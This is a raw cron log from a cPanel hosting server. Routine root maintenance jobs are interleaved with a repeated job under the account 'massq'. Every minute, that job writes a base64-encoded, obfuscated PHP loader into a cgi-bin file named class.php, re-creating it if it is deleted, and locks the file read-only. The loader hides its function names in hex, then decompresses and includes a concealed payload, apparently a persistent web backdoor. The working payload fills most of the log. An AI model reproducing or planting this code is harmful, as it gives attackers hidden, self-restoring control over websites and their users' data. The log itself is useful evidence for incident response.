Sep  9 01:15:01 server CROND[2876]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 01:15:01 server CROND[2873]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 01:15:01 server CROND[2877]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 01:16:01 server CROND[3706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:16:01 server CROND[3707]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:16:01 server CROND[3708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:17:01 server CROND[4114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:17:01 server CROND[4115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:17:01 server CROND[4113]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:18:01 server CROND[4559]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:18:01 server CROND[4560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:18:01 server CROND[4561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:19:01 server CROND[5640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:19:01 server CROND[5639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:19:01 server CROND[5638]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:20:01 server CROND[6753]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 01:20:01 server CROND[6755]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 01:20:01 server CROND[6757]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 01:20:01 server CROND[6766]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 01:20:01 server CROND[6763]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 01:20:01 server CROND[6764]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:20:01 server CROND[6767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:20:01 server CROND[6768]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 01:20:01 server CROND[6765]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:21:01 server CROND[8213]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:21:01 server CROND[8214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:21:01 server CROND[8215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:22:01 server CROND[8886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:22:01 server CROND[8887]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:22:01 server CROND[8888]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:23:01 server CROND[9284]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:23:01 server CROND[9285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:23:01 server CROND[9286]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:24:01 server CROND[9667]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:24:01 server CROND[9669]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:24:01 server CROND[9668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:25:01 server CROND[10202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:25:01 server CROND[10203]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 01:25:01 server CROND[10204]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:25:01 server CROND[10209]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 01:25:01 server CROND[10212]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 01:25:01 server CROND[10211]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 01:25:01 server CROND[10210]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:26:01 server CROND[11064]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:26:01 server CROND[11065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:26:01 server CROND[11066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:27:01 server CROND[11451]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:27:01 server CROND[11452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:27:01 server CROND[11453]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 01:27:01 server CROND[11454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:28:01 server CROND[11843]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
